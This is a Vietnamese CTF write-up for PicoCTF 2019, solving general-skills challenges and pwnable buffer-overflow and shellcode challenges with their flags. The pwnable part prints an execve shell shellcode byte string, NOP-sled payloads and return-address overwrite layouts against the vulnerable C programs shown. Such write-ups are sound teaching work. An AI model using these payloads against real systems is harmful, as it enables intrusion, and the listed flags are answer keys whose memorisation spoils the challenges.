PicoCTF2019 ###

Nguyễn Tín
9 min readOct 11, 2019

đây là giải đầu tiên mình có teamates giải cùng nên cũng khá là vui. Bọn mình có ý định là sẽ writeup hết các bài dạng warmup cũng như dạng khó(nếu giải được) để tiện cho việc học về sau

đây là những kiến thức tổng hợp về các mảng do bọn mình tập hợp được:

Cryptography: https://gumballaz.blogspot.com/2019/09/cryptography-crash-course.html

Pwnable: https://medium.com/@Bo0n/pwno0b-b472c07dbc8a?source=friends_link&sk=397a58a572cf9b9880860d56bc9dabc4

Forensics: https://github.com/luan25092000/Wu_picoCTF2019_forensics.git

###General skills

##The Factory’s Secret

cái này các bạn phải tìm hết các gylph có trong game, mỗi room trong game sẽ có mỗi 1 mảnh gylph, khi bạn tìm đủ gylph sẽ cho bạn 1 mã QR để quét
sau đó bạn sẽ dùng password quét được nhập vào pc lúc mình vừa tỉnh giấc là ra được flag

picoCTF{zerozerozerozero}

##series warmup

cái này khá ez nên mình không nói gì nữa

##bases

đọc đề bài ta có được clue là base, vậy trong mật mã học các loại base thường dùng là base-32, base-64. Dùng decoder online là ra

picoCTF{l3arn_th3_r0p35}

##First grep

đây là lệnh grep, 1 trong những lệnh mạnh nhất được sử dụng nhiều trên linux. Dựa theo format flag của giải thì ta đã có picoCTF

grep 'pico' file

picoCTF{grep_is_good_to_find_things_bf6aec61}

##Resource

cái này cho free điểm nên không có gì nhé
vì chal này nó cho ta 1 nguồn để học tập

##Strings it

lệnh này sẽ in ra tất cả printable character vào terminal nên ta phải kết hợp thêm lệnh grep để tránh việc phải ngồi check từng dòng

strings strings | grep pico

picoCTF{5tRIng5_1T_dd210c06}

##what’s a net cat?

để hiểu rõ netcat các bạn tự google nhé

picoCTF{nEtCat_Mast3ry_700da9c7}\

##Based

chal này tương tự như warmup nhưng có giới hạn time thôi, ai type nhanh là win

#First grep: part II

1 dạng nâng cao của grep

picoCTF{grep_r_to_find_this_e4fa3ba7}

##flag_shop

bài này khá ruồi vì mình thấy hint là numbers get really big thì input ngay chỗ mua đầu tiên 1 dãy số 2 lại được

2 1 2222222222222222222

picoCTF{m0n3y_bag5_b9f469b5}

##mus1c

dùng rockstar-py để covert

### PWNABLE

Vì đây là mảng chính của mình nên mình có thể viết 1 cách rõ ràng để người đọc có thể hiểu rõ việc pwning trong ATTT

##handy-shellcode

1.description

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5 on the shell server. Source.

Hint: You might be able to find some good shellcode online.

2.Solving

$clues

source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];puts(“Enter your shellcode:”);
vuln(buf);
puts(“Thanks! Executing now…”);

((void (*)())buf)();
puts(“Finishing Executing Shellcode. Exiting now…”);

return 0;
}

Ở đây ta thấy ((void (*)())buf)(); ,chương trình đang trỏ vào địa chỉ của biến buf, vậy các bạn hãy nghĩ nếu ta bỏ shellcode vào thì chương trình nó sẽ như thế nào? vì lúc ta nhập shell sau đó cho nó vào trong stack thì bây giờ stack của biến buf nó chỉ chứa shellcode, và khi flow của chương trình của trỏ đến shell thì nó sẽ execute shellcode đó

giờ việc của ta là tìm 1 con shell thôi!

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

ta input con shell vào chương trình thử xem nó nhưng thế nào

hm, weird, shellcode hoạt động bình thường nhưng tại sao nó lại tự động kết thúc process nhỉ? nếu bạn để ý thì input của ta là:

python -c “print ‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80’”

tức là trong stack của ta chỉ có con shellcode chứ không có gì để nó ngăn process của chương trình cả. Hãy hiểu flow của chương trình lúc này đang trỏ vào con shell của chúng ta thì khi nó đọc hết con shell xong thì nó sẽ execute tiếp đoạn code tiếp theo như ta thấy ở trên

vậy làm thế nào để ta stop lại quá trình đó? ở đây các bạn hãy tìm hiểu về lệnh cat giúp tôi

picoCTF{h4ndY_d4ndY_sh311c0d3_2cb0ff39}

##practice-run-1

cái này không cần nói gì nữa nhé

##OverFlow 0

1.description

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 on the shell server. Source.

hint:

  • Find a way to trigger the flag to print
  • If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren’t expecting.

2.Solution

source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64char flag[FLAGSIZE_MAX];void sigsegv_handler(int sig) {
fprintf(stderr, “%s\n”, flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[128];
strcpy(buf, input);
}
int main(int argc, char **argv){

FILE *f = fopen(“flag.txt”,”r”);
if (f == NULL) {
printf(“Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n”);
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);

gid_t gid = getegid();
setresgid(gid, gid, gid);

if (argc > 1) {
vuln(argv[1]);
printf(“You entered: %s”, argv[1]);
}
else
printf(“Please enter an argument next time\n”);
return 0;
}

tại đây nếu bạn hiểu sơ được code thì công việc chính của chúng ta chính là leak ra được flag từ con trỏ f , chính xác là ta chỉ cần nhập >132 bytes ký tự(chương trình reserve thêm 4 byte) là ta có thể leak được flag

picoCTF{3asY_P3a5y1fcf81f9}

###OverFlow 1

1.Description

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_1_e792baa0d29d24699530e6a26071a260 on the shell server. Source.

hint:

  • Take control that return address
  • Make sure your address is in Little Endian.

2. Solution

source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}

như ta thấy thay vì flag trở thành 1 function riêng không nằm trong main của chương trình vậy làm thế nào để ta có thể control flow cho chương trình trỏ vào hàm flag?

các bạn chạy trong hàm vuln lúc này chương trình sẽ gets giá trị từ bàn phím, sau đó nó đẩy vào buf nằm trong stack, nếu chúng ta nhập lố quá size của buf thì stack nó sẽ thành

+------------------------------+
| |
| return address |
| |
+------------------------------+
| |
| base address |
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
+------------------------------+
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
+------------------------------+

(hình trên chỉ tượng trưng cho việc bof, không có liên quan đến số liệu cụ thể)

như các bạn thấy, biến buf của chúng ta khi vượt quá số lượng được chỉ định thì nó sẽ tràn sang các vùng nhớ trước đó trong stack. Như hint đề bài đã nói thì việc của ta chính là overflow cho tới hàm ret để control flow của chương trình về hàm flag

để hiểu rõ hơn các bạn có thể tìm hiểu thêm ROP- return oriented programing

cũng như chal trước ta sẽ tìm offset của biến buf

vậy offset của buf là 72 ký tự, thêm 4 bytes của base pointer nữa là 76(tìm hiểu thêm stack frame để hiểu tại sao là base pointer)

theo hint của đề thì ta sẽ viết address ở dạng little endian(LE). Tại sao? vì nếu như các bạn dùng chip intel thì processor của hệ thống sẽ hoạt động theo LE, còn như big endian thì các dạng máy thời xưa như IBM ,…

vậy payload của ta sẽ là

junk*76 + 4bytes base pointer + 4 bytes return address của flag

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a1b468a7}

###NewOverFlow 1,2

2 chal này giống như chal trước nhưng thay vì 32bits thì thành 64bits

chal này mình không rõ nhưng có vẽ là do 1 lỗi nào đó nó làm cho chương trình bị ghi đè lên return address dẫn đến việc bị miss alignment trong stack frame. mình sẽ để payload lại

junk*64 + 8 bytes base + return address của hàm ret trong flag + địa chỉ của flag

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_72d3e39f}

###slippery-shellcode

1. Description

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_3_68613021756bf004b625d7b414243cd8 on the shell server. Source.

2.Solution

source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 512
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){setvbuf(stdout, NULL, _IONBF, 0);// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];puts(“Enter your shellcode:”);
vuln(buf);
puts(“Thanks! Executing from a random location now…”);int offset = (rand() % 256) + 1;((void (*)())(buf+offset))();puts(“Finishing Executing Shellcode. Exiting now…”);return 0;
}

vừa đọc cái tiêu đề thì điều đầu tiên tôi nghĩ đến chính là: NOP-sled

nói sơ qua thì payload của ta thay vì nó gồm

junk*n + 4 + ret thì bây giờ nó sẽ thành '\x90'*n + shellcode

vì chương trình cũng đã trỏ cho ta đến biến buff nên việc execute shellcode trong stack càng dễ dàng hơn

cũng giống như bài handy shellcode thì ta phải thêm cat để pause chương trình lại

như ta thấy thì offset = (rand() % 256) + 1 ,vậy nơi mà nó trỏ sẽ dao động trong khoảng của buf — offset đến buf + offset

vậy payload của ta là

'\x90'*300 + shellcode và sau đó là ;cat là ta đã chiếm quyền để lấy flag rồi

picoCTF{sl1pp3ry_sh311c0d3_de21cb07}

###OverFlow 2

1.Description

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_0_f4d7b52433d7aa96e72a63fdd5dcc9cc on the shell server. Source.

hint: GDB can print the stack after you send arguments

2.solution

chal này cũng tương tự như chal OverFlow 1trước nhưng nó nâng cao hơn một chút, đòi hỏi ta phải hiểu được cách chương trình call 1 hàm như thế nào trước khi nó thực hiện hàm đó

(tìm hiểu thêm cách gọi hàm của chương trình/cách truyền biến vào 1 hàm)

vậy bây giờ tôi sẽ vẽ stack khi ta over flow hàm vuln rồi trỏ vào flag

+---------------------------------+
|.................................|
+---------------------------------+
| |
| return address of vuln |
| |
+---------------------------------+
| |
| overflowed buf |
| |
+---------------------------------+
|.................................|
+---------------------------------+
===================================
===================================
+---------------------------------+
|.................................|
+---------------------------------+
| |
| arg2 | push arg2
| |
+---------------------------------+
| |
| arg1 | push arg1
| |
+---------------------------------+
| |
| return address of flag | push the next eip (scrap)
| |
+---------------------------------+
| base address |
| |
+---------------------------------+

như hình tôi vẽ trên thì khi eip của chương trình trỏ đến ret của vuln (đã đổi thành address của flag) thì lúc này trước khi vào hàm flag nó sẽ thực hiện

  • push các giá trị được truyền theo chiều ngược lại
  • push vào ret address của instruction kế tiếp để lúc trở về có thể tiếp tục được flow của chương trình

khi làm xong 2 việc trên thì nó mới chính thức bắt đầu call hàm flag

vậy việc của ta chỉ cần overflow chính là return address của flag, arg1=0xdeadbeef, arg2=0xc0ded00d

payload

junk*188 + flag address + junk*4 + '\xef\xbe\xad\xde' + '\x0d\xd0\xde\xc0'

picoCTF{arg5_and_r3turn5e919413c}

--

--